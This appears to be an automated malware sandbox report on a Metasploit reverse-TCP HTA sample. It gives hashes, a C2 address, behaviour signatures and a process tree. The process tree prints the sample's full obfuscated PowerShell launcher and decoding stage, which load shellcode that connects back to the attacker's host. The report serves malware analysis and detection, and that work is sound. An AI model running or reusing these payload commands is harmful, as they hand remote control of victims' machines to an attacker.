Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    30-05-2024 04:34

General

  • Target

    reverse_tcp.hta

  • Size

    7KB

  • MD5

    4e99f0feadde2839ac462ed6916bfd07

  • SHA1

    1830781cc5f224a68b64bc96d93f10b59b7122b7

  • SHA256

    8022b173111766352a7a3c42480505eba6391a170950505a9d539a9fcf4f2ab3

  • SHA512

    a189491fcacfc9eaecb1c31d706f77b3b6d96ab0d0079e60e7b01bdcba67b0a7b0ebf415e708276212875d479847b00ee2a7aaf40865dc73b3cda64a83d8dd1e

  • SSDEEP

    192:8n2jh1hqT2dcgE65MfDnQ8BQb1STDaIsF6hd9d:8n2jh1hsYsXQehT+Mhd9d

Malware Config

Extracted

Family

metasploit

Version

windows/reverse_tcp

C2

1.14.247.162:40001

Signatures

  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Blocklisted process makes network request 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\reverse_tcp.hta"
    1⤵
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:3056
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKAAoACcAJwBIADQAcwBJAEEATQBFAFAAMQAyAFUAQwBBADcAVgBXAGIAVwAvAGEAUwBCAEQAewAxAH0AWABxACcAJwArACcAJwBuAC8AdwBhAHEAUQBiAEsAcwBFAG0ANQBjADIAVABhAFIASwB0ADgAWQBCAG4AQQBRAEMAYwBZAEEAQQBoADAANABiAGUANwBHADMAVwBYAHUASgB2AFEANgBoAHYAZgA3ADMAbQA4AFYAMgBTAEsALwBKAFgAZQA2AGsAVwBrAHIAWQBsADUAbgBaADIAVwBlAGUAbQBkAGwAVgBGAG4AdQBDADgAbABqAFoATwBzAHEAMwB0ADIAewAxAH0AVQA0AGgAdgBpAEIARQBlAEsAVgByAGsALwB4ADEAVwBsAEUAdAAnACcAKwAnACcAcgA2AGYAcQB1AHkAVAByAG4AeQBXAGQARQBXAGEATAAyADIAZQBZAFIAcAB2AEQAdwB7ADEAfQBiAG0AJwAnACsAJwAnAGQASgBRAG0ASwBSAHoAMgB0AGQASQBsAEMAYQBrAHUAaQBHAFUAWgBKAHEAdQB2AEsAbgBNAGcAMQBKAFEAZwA0AHUAYgByADQAUQBUAHkAagBmAGwATQBvAGYAdABTADcAagBOADUAZwBWAFkAdABzADIAOQBrAEsAaQBIAEsARABZAGwAMwB2AG4AMwBNAFAAUwBxAFoAcQA3AFoAbABSAG8ANgB1AHsAMQB9AC8AcQAvAHIAaQBvAEwANgBzAG4AZAB4AGwAbQBLAFcAYQA2AG0ANQBUAFEAYQBLAGEAegA1AGkAcQBLADkAOQAxACcAJwArACcAJwBlAGUARABWAGQAawAwADAAdABVAHsAMQB9ADkAaABLAGQAOABKAFcAcABUAEcAagBjAGIAdABYAEcAYwA0AGgAVQBaAGcATABWADcAMABpAGMAaQA1AEgANgBxAHcAbAAzADIAdAAwAG0ASQB5AEoASgA0AGQAeQBsAHAASgBaAGYAUgBWAEIAZwBPAEUAewAxAH0ANABoADMAMAA5AEkAbQBxAHAAVgBaAFMASAB0AEwANQBiAEwAMwA3AFIARgBjAGYAaABsAEYAZwBzAGEAawBaAG8AVABDADUATAB3AHQAVQB1AFMAZQB7ADEAfQBxAFIAdABOAGIARABzAGMALwBJAEoAVgBrAHQAUQBjAHMAVgBDAFkAMgBEAHAAYQA2AEQAMgBEADIALwBKAFYAbwBsAHoAaABpACcAJwArACcAJwByAEsAdgAvAEYAagAnACcAKwAnACcARABZAGcAbQB4AEsANgAxAHkAcABwAFQANQBWAEEAYQBpAGcAUwB2AFEAcgB4AC8AUABtAGEAZgBlADUAbgBqAE8AUwBLADYAagBOAHsAMQB9AFMAZwByAG8AOABPAFUAMABBAE8AeQB7ADEAfQBTAC8AaABXAEoAVwAxAHUAdQAnACcAKwAnACcAdgBXAHoAWgA0AGkAegBYAHkAaQAvAHgAVwA2AEgAZwBMAC8AYQBrAEsAZAAwAHAALwB4AFoATQBhAHQASwBIADQANwBHAGcAaQBkAGIAbQBGAGEAdQBrAG8AegBvAHkAMABlADAAbABVAHIAUwB7ADEAfQB6AEMAUABxADYAOAAxAFYAeQA5ADEAUQBmAE0AdQBoAEkAWABGAGgARgBOAC8AdQBWAGYALwBJAGYAYQBWAHMASABrAFMAMgBGAEwAcQBaAFMAcgBiAFoARQBWACcAJwArACcAJwBqAFkAbQA5AGoASABGAEcAdgBaAEsAdgAyAFgARQBqAEkAaQBwAEUAZABKAHIAVgBTAGIAQQBBAE8AYQBtAHEAeABRAFgAeQBiAE0AQgBKAGcASQBWAEcAVwB6AFAAaABKADcAUwBTAGkANABsAEgAWAB5AGkAagB6AFMAWQBJADgAQwBHAHMASwBYAGsASABFADkAUgB7ADEAfQBkAHkAUQBPAG4AcQAnACcAKwAnACcAVQA3AGMASgB4AEgAQQBsADgAewAxAH0AQgBxAHAAVQBWADUAQQBnAHAAcABZAHUAOAAyAEoAYQBuAHkAegBrAEkAcQBXADIARwAwADcAUwAnACcAKwAnACcAcQBEAEQATgBJAFUAcQB7ADEAfQBxAHUAQQBRAHoANABsAGMAVgBGAEsAZQAwADIARQBLAFoANABMAHUAaAB1AG4AZQAzAG4AegBGAEIAUABaAHkASwAwAHQAeABTAC8AegB1AGUAeABiAGwAdABIAHEAYwBpAHkAVAB5AEkATABHAEIAdwA1AGEANgBKAFIAegBHAFQAawBGAFMAVgBIAHYAVwBKAHQAWABWAHAAVQBKADYAdgBQAGcAdABJAEcAegBNAEcAMgBRAE8AVwA3AGkARQBnAHMAQwBLAEIAYwBJAFgAawBTAHcASwB1ADUAdAB6AFEAYQB5ADQAUgBUAHIAUgBtAEoAQQAnACcAKwAnACcASwBoAFgAZABuAG8ATQBCAHgAQQBrAFMAaQBTAFoATQBjAHcASABCAEIAZgBmAGMAbgBWAE0AaAB0ACcAJwArACcAJwB5ADYAawB0AHcAUwBsAFMAZQBPAEEAbwBSAGQAeABrAFgAVgBXAFYAQwBFAHcARgBWAFMAQQBKADkARgAvADQALwBMADMANAB1AFAANwBrADcANwBZAFEAVQBFAGQATABLAFIARgB0AFkAVwB5AEUAegBvAGUASQAvAFMASwBJAFcASQBPADAAZwBTAFEAVABBADAAVQBsADQAWgBPAEcAVQBmAEcAegBsAHAAVQBaADcAWgAxAHoAUQBJAFkASgB2AFoAdgBmAGMAdQBTAFAAYwBQAHYAegBaAFQAcwB4AG8AMwBSAG4AYgBoAC8ANwBaAEsAUgBmAGIATQA3AHQAbgA5AEwAMQAyAE8AdQB4ADIAUABpAEcANgBDAFQAYgBlAHAAdwBIAHkALwBGAE8AZgBIAEwAbQBUAGwAbgBCAFAASABOAEUAZQBvAHQANgBJAG0AbABZAHIAOQBDAHoAegBDAHMAWgBqAFIAegBoAGQAUgA4AHcAYwAxAEwAcwBLAFAAVwBZAE8AdwBZAFkANwBTADAAMgA2ADYAVQAzADcAbgBtADEAOQAzAFQAUgBTAG8ARwB1AHIAMQBiAHMAMgBVAGIAUABaAHUAbQBpAGEAdAA0AEQAZQBqAE4AYQBEAFcAewAxAH0AUQBQAEkAcgBwADUATwBJAGMAeAAxAE4AJwAnACsAJwAnAFMATABjADgAdABKAEwAZABOAGgASgA2AGYAdAB5ADUAdABwAG8AegBPAGYAcwBwADcAUgA2AG8AUwByAEsAVQAvAGQAagB6AFAAYgBNAEkAdwBqAEgAOQB2ADkATABVAEkAVwA5ADUAdgA5ADcAWABYADkAawBsAC8AMQB2AE0AaABxAHgAZAB3ADQAYQByAGQAdQAwAFEAbAAnACcAKwAnACcAQwA3AGYAaABrADAAcgBIADQAMgBjAHgASwAwAE4AQwBZADQARwBEAE4AMABlAGkAdwB5AGEATwBnAGoAVQA0AGYATABFAHIAbQBvADMASABIAEcAbwAwADYARgBoAHAAMwB2ADkAegBaAFIAMABaAGcASABFADIAdgBjAFcAaABOAEoAdwAwADYAWAAxADkAZgBoAGoARAB2AGIASABxAGoATQA4AE4AcwBPAFQANwA1AHkAdQBjAGIAQQBLADcATABFAFEANAB1AFEAUwBaAG8ATgA3AHgAdwBCAFQATAAyAGUAMgBTADkASAAvAEMAMABnAFcAOAB0AGoAaQB5AFEANgBjAHoAdgBVAEQAZQBjAHIAVAB0AEQAQgB2AHQAWAA0AHcAWgBIAEUAegBhADQAeAB1AGgAOAB2AHUAMABZAFIAbgAwADIAYgBLAEcAZQB5AGEAZgBkAEEASQAxAEEASABBAGYAVwBDAEsAUAAwADMAdgA1AHEARwAvAFcASgB6AC8AMwBwAGgAOABGAHMAWgBVAHkAdQAyAGEARgBoAHQAMABmAEQAOABGAHIAZQAyAFYAaABIADgAdgB7ADEAfQBtAFoANQA5ADUAOAAvAHIARwB1AHoAagA4AGQARAA2AGwAawA0AGkAagBzAFcARgBNADMAZwBFAGwARgBtAE0AYQBpADIAWgBqAFcAYwBrADIAWABWAGsAOQAzADcANgBwAFAASABRAG4ANAB5AGYATQBlAEsAawB6ADkASABHAFMAaABwAGcAQgBZADYARABtAGwAOABuAGIANABVAG0AbgBLAE8AUgBEAFQAcQAnACcAKwAnACcAVwBHAHAAcwBFADcANABKACcAJwArACcAJwBZAGsATQBXAEgAUQBQAGEARwAvAGwAbgBSAEgAagBIAEYAUAB0AHAAQgBkAHcAWQBmADIAbABUAGMAVgAyAGUAUABHAHoAcwA2AG4ANQAwAGEANgA4AGkAaQBvADcAMwB0AEwAdQBYAFIAOABQAEEAYwBmAEkAWQBYADgAaAA5AG8ANQBpAFEATQBSAFYAcwAyAEgAcABtAGwAQwBVAHoAQQBmAHoATgBZAHUAVQBWADUALwByAHoAWgBmAGIAegBVAHcAVgBaAFYATgBaAFEAZABMAGIAcABuAHQATABJAE0AeAB1AGwASQAwADcAVgBmAGoAQgBLADgARwBBAGUAWAByAFoAYQBSAGUAQQBnADEATwB2AG8AVgBhAEEAewAxAH0AVQB2AHoAMwA4AEoAbgBjAFUANQBlAHcAcABjAGMAYQAnACcAKwAnACcAdABIAEYAdQB4AHgAQQA4AEQAcQBjAE8AMgBGAGYAQwA5AEkAYwBvAEQANgBBAGIAbABUAEsAawBMADIAMAA2AGYAOQB1AFgASQB6AHUAZgB7ADEAfQBWAGQAQwBsAEsAVwBBAGcALwAvAHIALwBSACcAJwArACcAJwBaAGIALwAyAEQANwB1AHYAbwBwAEIAWgB6AGEASAA1AGEAZgBuAEgAaABTAGMATgA0AEoAYwBCAE0ATQBWAFUAZwBKAHcATAAnACcAKwAnACcAdABaAGkAUgAvAEkAbgB3AFAAQQA1AEYAaABqAHkASgBMAG8AUQBHAEUAbQBCAFYAZgBQAEwAWgBmAEoARwBKAGcAdwBFADgAeABIAGIATgA0AEMAOABYAEQAbwBXAFMAcQB3AHMAQQBBAEEAewAwAH0AewAwAH0AJwAnACkALQBmACcAJwA9ACcAJwAsACcAJwArACcAJwApACkAKQApACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAKQApACcAOwAkAHMALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQA9ACQAZgBhAGwAcwBlADsAJABzAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAA9ACQAdAByAHUAZQA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ACcASABpAGQAZABlAG4AJwA7ACQAcwAuAEMAcgBlAGEAdABlAE4AbwBXAGkAbgBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQAcwApADsA
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1996
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String((('H4sIAMEP12UCA7VWbW/aSBD{1}Xq'+'n/waqQbKsEm5c2TaRKt8YBnAQCcYAAh04be7G3WXuJvQ6hvf73m8V2SK/JXe6kWkrYl5nZ2WeemdlVFnuC8ljZOsq3t2{1}U4hviBEeKVrk/x1WlEt'+'r6fquyTrnyWdEWaL22eYRpvDw{1}bm'+'dJQmKRz2tdIlCakuiGUZJquvKnMg1JQg4ubr4QTyjflMoftS7jN5gVYts29kKiHKDYl3vn3MPSqZq7ZlRo6u{1}/q/rioL6sndxlmKWa6m5TQaKaz5iqK991'+'eeDVdk00tU{1}9hKd8JWpTGjcbtXGc4hUZgLV70ici5H6qwl32t0mIyJJ4dylpJZfRVBgOE{1}4h309ImqpVZSHtL5bL37RFcfhlFgsakZoTC5LwtUuSe{1}qRtNbDsc/IJVktQcsVCY2Dpa6D2D2/JVolzhi'+'rKv/Fj'+'DYgmxK61yppT5VAaigSvQrx/Pmafe5njOSK6jN{1}Sgro8OU0AOy{1}S/hWJW1uu'+'vWzZ4izXyi/xW6HgL/akKd0p/xZMatKH47GgidbmFaukozoy0e0lUrS{1}zCPq681Vy91QfMuhIXFhFN/uVf/IfaVsHkS2FLqZSrbZEV'+'jYm9jHFGvZKv2XEjIipEdJrVSbAAOamqxQXybMBJgIVGWzPhJ7SSi4lHXyijzSYI8CGsKXkHE9R{1}dyQOnq'+'U7cJxHAl8{1}BqpUV5AgppYu82JanyzkIqW2G07S'+'qDDNIUq{1}quAQz4lcVFKe02EKZ4Luhune3nzFBPZyK0txS/zuexbltHqciyTyILGBw5a6JRzGTkFSVHvWJtXVpUJ6vPgtIGzMG2QOW7iEgsCKBcIXkSwKu5tzQay4RTrRmJA'+'KhXdnoMBxAkSiSZMcwHBBffcnVMht'+'y6ktwSlSeOAoRdxkXVWVCEwFVSAJ9F/4/L34uP7k77YQUEdLKRFtYWyEzoeI/SKIWIO0gSQTA0Ul4ZOGUfGzlpUZ7Z1zQIYJvZvfcuSPcPvzZTsxo3Rnbh/7ZKRfbM7tn9L12Oux2PiG6CTbepwHy/FOfHLmTlnBPHNEeot6ImlYr9CzzCsZjRzhdR8wc1LsKPWYOwYY7S0266U37nm193TRSoGur1bs2UbPZumiat4DejNaDW{1}QPIrp5OIcx1N'+'SLc8tJLdNhJ6fty5tpozOfsp7R6oSrKU/djzPbMIwjH9v9LUIW95v97XX9kl/1vMhqxdw4ardu0Ql'+'C7fhk0rH42cxK0NCY4GDN0eiwyaOgjU4fLErmo3HHGo06Fhp3v9zZR0ZgHE2vcWhNJw06X19fhjDvbHqjM8NsOT75yucbAK7LEQ4uQSZoN7xwBTL2e2S9H/C0gW8tjiyQ6czvUDecrTtDBvtX4wZHEza4xuh8vu0YRn02bKGeyafdAI1AHAfWCKP03v5qG/WJz/3ph8FsZUyu2aFht0fD8Fre2VhH8v{1}mZ5958/rGuzj8dD6lk4ijsWFM3gElFmMai2ZjWck2XVk9376pPHQn4yfMeKkz9HGShpgBY6Dml8nb4UmnKORDTq'+'WGpsE74J'+'YkMWHQPaG/lnRHjHFPtpBdwYf2lTcV2ePGzs6n50a68iio73tLuXR8PAcfIYX8h9o5iQMRVs2HpmlCUzAfzNYuUV5/rzZfbzUwVZVNZQdLbpntLIMxulI07VfjBK8GAeXrZaReAg1OvoVaA{1}Uvz38JncU5ewpcca'+'tHFuxxA8DqcO2FfC9IcoD6AblTKkL206f9uXIzuf{1}VdClKWAg//r/R'+'Zb/2D7uvopBZzaH5afnHhScN4JcBMMVUgJwL'+'tZiR/InwPA5FhjyJLoQGEmBVfPLZfJGJgwE8xHbN4C8XDoWSqwsAAA{0}{0}')-f'=','+')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2752

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
    Filesize

    7KB

    MD5

    d589e153207cf044bd510ad046367639

    SHA1

    c1be1a5da63d9b4ba9ce1400146b0192f68d9c79

    SHA256

    0aced8a0f1e485e3aa391e70bd7af59fbe80610b82aef649b0c63643c12f848e

    SHA512

    b7101cbf861037a1a4af91758675fa91147f605bd154810c6bd19ce5825a8dc861fb41fb4d9c0c17304b55bbb2ddaa8032dfdceaeb0093332377399938461b79

  • memory/2752-7-0x0000000002F90000-0x0000000002F91000-memory.dmp
    Filesize

    4KB